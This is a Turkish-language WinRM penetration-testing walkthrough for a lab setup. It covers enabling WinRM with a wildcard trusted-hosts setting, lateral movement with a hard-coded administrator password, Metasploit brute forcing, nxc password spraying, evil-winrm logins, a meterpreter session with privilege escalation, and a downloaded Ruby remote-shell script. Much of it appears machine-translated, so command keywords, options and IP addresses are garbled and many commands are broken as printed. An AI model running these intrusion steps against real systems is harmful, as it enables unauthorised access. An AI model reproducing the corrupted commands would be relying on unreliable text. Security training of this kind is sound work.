WinRM Penetrasyon Testi

 

WinRM Penetrasyon Testi

Windows Uzaktan Yönetim (WinRM), Microsoft tarafından Windows makinelerinde donanım ve işletim sistemlerini uzaktan yönetmek için geliştirilen bir protokoldür. Windows Yönetim Çerçevesi'nin bir bileşenidir ve yazılım ve donanımın uzaktan yönetimi için tasarlanmış standart bir web hizmetleri protokolü olan WS-Yönetim Protokolünü uygular. WS-Yönetimi SOAP'a dayanır ve XML şemasını destekler. WinRM, HTTP taşıma için 5985 ve HTTPS Taşıma için 5986 portunu kullanır.

İçindekiler

  • Laboratuvar Kurulumu
  • Bağlantıyı test etme
  • Yanal Hareket (Yerel)
  • Enter-PSSession kullanarak sunucuya bağlanılıyor
  • Winrs kullanarak sunucuya bağlanılıyor
  • PowerShell kullanarak sunucuya bağlanma
  • Yanal Hareket (Uzaktan)
  • Tarama
  • WinRM kimlik doğrulama yöntemlerini tanımlama
  • WinRM oturum açma kaba kuvvet
  • Nxc kullanarak şifre püskürtme
  • Metasploit kullanarak WinRM'yi kullanma
  • Docker kullanarak uzak kabuğu bağlama
  • Ruby betiğini kullanarak uzak kabuğu bağlama
  • Çözüm

Laboratuvar Kurulumu

Hedef Makine: Windows Server 2019 (192.168.31.70)

Bağımsız Bireysel Makine: Windows 10

Saldırgan Makinesi: Kali Linux (192.168.31.141)

Laboratuvar kurulumunu gerçekleştirmek için, hem sunucuda hem de ayrı bir makinede WinRM hizmetini etkinleştirmemiz ve yapılandırmamız gerekir. Burada Windows 10'u ayrı bir makine olarak ve sunucuyu Windows Server 2019 olarak kullanıyoruz.

Öncelikle Windows Server 2019 üzerinde PowerShell kullanarak WinRM'yi yapılandıracağız, bunun için aşağıdaki prosedür kullanılabilir:

  1. Yürütme Politikası Baypas:

Bazı betikleri çalıştırmak veya herhangi bir görevi gerçekleştirmek için yürütme politikasının atlanması gerekir. Bu yöntem sistem genelindeki yürütme politikasını değiştirmez ve yalnızca geçerli PowerShell oturumuna uygulanır. Aşağıdaki komuttur:

powershell -ep baypas
  1. PSRemoting'i Etkinleştir:

Enable -PSRemoting cmdlet'i, bilgisayarı WS-Management teknolojisi kullanılarak gönderilen PowerShell uzak komutlarını alacak şekilde yapılandırır. Komut aşağıdaki gibidir:

PSRemoting'i Etkinleştir -kuvvet
  1. WinRM yapılandırması:

Varsayılan olarak, WinRM HTTP için 5985 ve HTTPS için 5986 portunu dinler. Ayrıca, belirli uzak ana bilgisayarlardan gelen bağlantılara izin verme esnekliği vardır. Burada ağdaki tüm makineler için joker karakter (*) kullanıyoruz. Komutlar şunlardır:

winrm hızlı yapılandırma -transport:https
Öğe Ayarı wsman:\localhost\client\trustedhosts *
  1. Hizmeti yeniden başlat:

Yapılandırma tamamlandıktan sonra, artık servis aşağıdaki komut kullanılarak yeniden başlatılabilir:

WinRM Hizmetini Yeniden Başlat

Yapmamız gereken bir diğer yapılandırma ise Remote Management Users yerel grubuna yönetici kullanıcısını eklemektir .

net localgroup "Uzaktan Yönetim Kullanıcıları" /add yönetici

Şimdi bireysel makinede yapılandırmak için, sunucu yapılandırması durumunda uyguladığımız aynı eylemi gerçekleştireceğiz. Enable-PSRemoting komutunun bir hata verdiği ancak komutun başarılı bir şekilde yürütüleceği fark edilebilir.

Bağlantıyı test etme

Bağlantıyı test-wsman ile kontrol edebiliriz, eğer bağlantı başarılı olursa komut versiyon detaylarını döndürecektir.

test-wsman -bilgisayaradı "192.168.31.70"

Yanal Hareket (Yerel)

Hizmet aktif olduğundan, şimdi WinRM hizmetini doğrudan kullanarak yatay olarak hareket etmenin farklı yollarını deneyebiliriz. Burada, sistemde bir kullanıcı olarak ilk erişimi zaten elde ettiğimizi varsayıyoruz, şimdi yatay olarak hareket etmeye çalışıyoruz.

Enter-PSSession kullanarak sunucuya bağlanılıyor

Enter -PSSession, bağlanmak istediğimiz makine olan ComputerName parametresini ve uzak bağlantılar için güvenilir olan hesap adı olan Credential'ı kullanarak uzak sunucuya bağlanmak için kullanılabilir . Bağlantı sağlandıktan sonra sistem komutlarını çalıştırabiliriz.

Enter-PSSession -ComputerName 192.168 . 31 . 70 -Kimlik bilgisi yöneticisi
sistem bilgisi

Winrs kullanarak sunucuya bağlanılıyor

winrs, uzak sistemlere bağlanmak ve komutları yürütmek için WinRM servisini kullanan bir diğer komuttur.

winrs -r: 192.168 . 31 . 70 -u:işistasyonu\yönetici -p:Ignite@ 987 ipconfig

Ayrıca sonrasında komutları doğrudan çalıştırabileceğimiz etkileşimli bir kabuk elde etmek için de kullanılabilir.

winrs -r: 192.168 . 31 . 70 -u:workstation\administrator -p:Ignite@ 987 CMD

Powershell kullanarak sunucuya bağlanma

PowerShell Invoke-Command kullanarak bağlanmak için bir yöntem daha var , burada ComputerName parametresinde ana bilgisayarı, Credential parametresinde hesap adını ve Kimlik Doğrulama türünü Negotiate olarak ayarlamamız gerekiyor. Negotiate kullandığımızda, PowerShell'in başlangıçta Kerberos kimlik doğrulamasını kullanacağı, başarılı olmazsa NTLM'ye geri döneceği anlamına gelir . Ancak, etki alanı ortamında olmayan sistemler için Credential'ı vermemiz gerekir . Burada ScriptBlock parametresinde komutu verebiliriz .

Invoke-Command -ComputerName "192.168.31.70" -Credential workgroup\administrator -Kimlik Doğrulama Görüşmesi -Port 5985 -ScriptBlock { ipconfig /all }

Ayrıca, pass'ı argüman olarak alacak cred olarak bir nesne de oluşturabiliriz . Bir SecureString oluşturmak için -AsPlainText ve -Force parametrelerini vermemiz gerekir , aksi takdirde bir hata verir. Oluşturulan pass dizesi, PSCredential sınıfı kullanılarak System.Management.Automatic ad alanı kullanılarak oluşturulan cred nesnesinde bir değişken olarak geçirilebilir .

$pass = ConvertTo-SecureString 'Ignite@987' -AsPlainText -Force
$cred = Yeni -Nesne Sistemi. Yönetim . Otomasyon . PSCredential ( 'işistasyonu\yöneticisi' , $pass )
Çağırma-Komutu -BilgisayarAdı 192.168 . 31 . 70 -Kimlik Bilgisi $cred -ScriptBlock { ipconfig }

Yanal Hareket (Uzaktan)

Tarama

WinRM servisine uzaktan bağlanmak için öncelikle numaralandırma işlemini yapmamız gerekiyor.

nmap -p5985 , 5986 -sV 192.168 .31 .70

5985 portunun açık olduğu ve WinRM bağlantıları için HTTP'yi desteklediği görülebilir.

WinRM kimlik doğrulama yöntemlerini tanımlama

Metasploit modülündeki winrm_auth_methods yardımcı programı kimlik doğrulama yöntemlerini belirlemek için kullanılabilir. WinRM destekleniyorsa bu yardımcı program

yardımcı/tarayıcı/winrm/winrm_auth_methods kullanın
rhosts'u 192.168 olarak ayarla . 31. 70
koşmak

WinRM oturum açma kaba kuvvet

WinRM'deki kaba kuvvet, başarılı kimlik bilgilerini saymak için de gerçekleştirilebilir. Burada Metasploit modülü içinde yardımcı/tarayıcı/winrm/winrm_login kullanıyoruz . Burada DOMAIN'i varsayılan olarak tutuyoruz, yani WORKSTATION. Kullanıcı adlarını user_file'da ve parolaları pass_file'da belirtebiliriz.

yardımcı/tarayıcı/winrm/winrm_login kullanın
rhosts'u 192.168 olarak ayarla . 31. 70
user_file'ı ayarla users.txt
pass_file pass.txt dosyasını ayarlayın
şifreyi ayarla N/A
koşmak
oturumlar 1

Geçerli kimlik bilgileri bulunduğunda oturumun elde edildiği görülebilir.

Nxc kullanarak şifre püskürtme

nxc, WinRM servisinde parola spreyi yapmak için kullanılabilir, sadece kullanıcı adı ve parola dosyasını girdi olarak geçirmemiz gerekiyor.

nxc winrm 192.168 . 31 . 70 -u kullanıcılar. txt -p şifre. txt

Geçerli kullanıcı adı ve şifre elde edildikten sonra evil-winrm aracını kullanarak uzak sisteme giriş yapabiliriz.

evil-winrm -i 192.168 . 31 . 70 -u yönetici -p Ignite@ 987

Geçerli kimlik bilgileri bulunduktan sonra, nxc'yi kullanarak -x bayrağını vererek komutları doğrudan da çalıştırabiliriz .

nxc winrm 192.168 . 31 . 70 -u yönetici -p Ignite@ 987 -x ipconfig

Metasploit kullanarak WinRM'yi kullanma

Geçerli kimlik bilgilerini bulduğumuzda, Metasploit içindeki auxiliary/scanner/winrm/winrm_cmd'yi kullanarak komut yürütme işlemini gerçekleştirebiliriz . Komutlar şunlardır:

yardımcı/tarayıcı/winrm/winrm_cmd kullanın
cmd ipconfig'i ayarla
kullanıcı adı yöneticisini ayarla
şifreyi ayarla Ignite@ 987
koşmak

Geçerli kimlik bilgilerine sahip olduğumuzda meterpreter oturumunu da alabiliriz. Komut dosyasını yürütmek için exploit/windows/winrm/winrm_script_exec kullanılabilir. Bu exploit, sistem düzeyindeki bir işleme geçerek otomatik olarak ayrıcalık yükseltmesi gerçekleştirmeye çalışır.

exploit/windows/winrm/winrm_script_exec kullanın
rhosts'u 192.168 olarak ayarla . 31. 70
kullanıcı adı yöneticisini ayarla
şifreyi ayarla Ignite@ 987
koşmak

WQL (WMI Sorgu Dili), Windows Yönetim Araçları (WMI) çerçevesi içinde veri sorgulamak için tasarlanmış SQL'in (Yapılandırılmış Sorgu Dili) özel bir alt kümesidir .

WinRM hizmeti için geçerli kimlik bilgileri elde edildiğinde, WMI işlevselliği hedef sistemde keyfi WQL sorguları yürütmek için kullanılabilir. Modül ayrıca bu sorguların sonuçlarını ganimet olarak depolayacaktır.

Burada Win32_Service'den servisin adını ve durumunu almak için sorguyu verebiliriz .

yardımcı/tarayıcı/winrm/winrm_wql kullanın
rhosts'u 192.168 olarak ayarla . 31. 70
kullanıcı adı yöneticisini ayarla
şifreyi ayarla Ignite@ 987
wql'yi Win32_Service'ten Ad,Durum Seç'i ayarlayın
koşmak

 

Docker kullanarak uzak kabuğu bağlama

Linux'tan Windows'a PS-Remoting'e izin vermek için NTLM desteğiyle PowerShell'in bir Docker görüntüsünü çalıştırabiliriz . Bağlantıdan sonra geçerli kimlik bilgilerini sağlayabilir ve Enter-PSSession aracılığıyla oturumu alabiliriz.

docker run -it quickbreach/powershell-ntlm
$creds = Kimlik Bilgilerini Al
Enter-PSSession -ComputerName 192.168 . 31 . 70 -Kimlik Doğrulama Pazarlığı -Kimlik Bilgileri $creds

Ruby betiğini kullanarak uzak kabuğu bağlama

WinRM'nin etkinleştirildiği uzak sunucuya bir ruby ​​betiği kullanarak da bağlanabiliriz. Betik buradan indirilebilir:

https://raw.githubusercontent.com/Alamot/code-snippets/master/winrm/winrm_shell_with_upload.rb

Bu scripti geçerli bir kullanıcı adı, şifre ve uç nokta vererek değiştirmemiz gerekiyor.

cat winrm_shell_with_upload.rb

Scripti değiştirdikten sonra ruby ​​kullanarak çalıştırabiliriz.

ruby winrm_shell_with_upload.rb
ipconfig /tümü

Çözüm

WinRM günlük görevlerde çok kullanışlı bir hizmettir, ancak düzgün yapılandırılmazsa saldırganlar tarafından kabuk erişimi elde etmek için kötüye kullanılabilir. Bu nedenle kimlik doğrulama izinlerinin yalnızca güvenilir kullanıcılara ve herkese değil verilmesi önerilir.

Yorum Gönder

Daha yeni Daha eski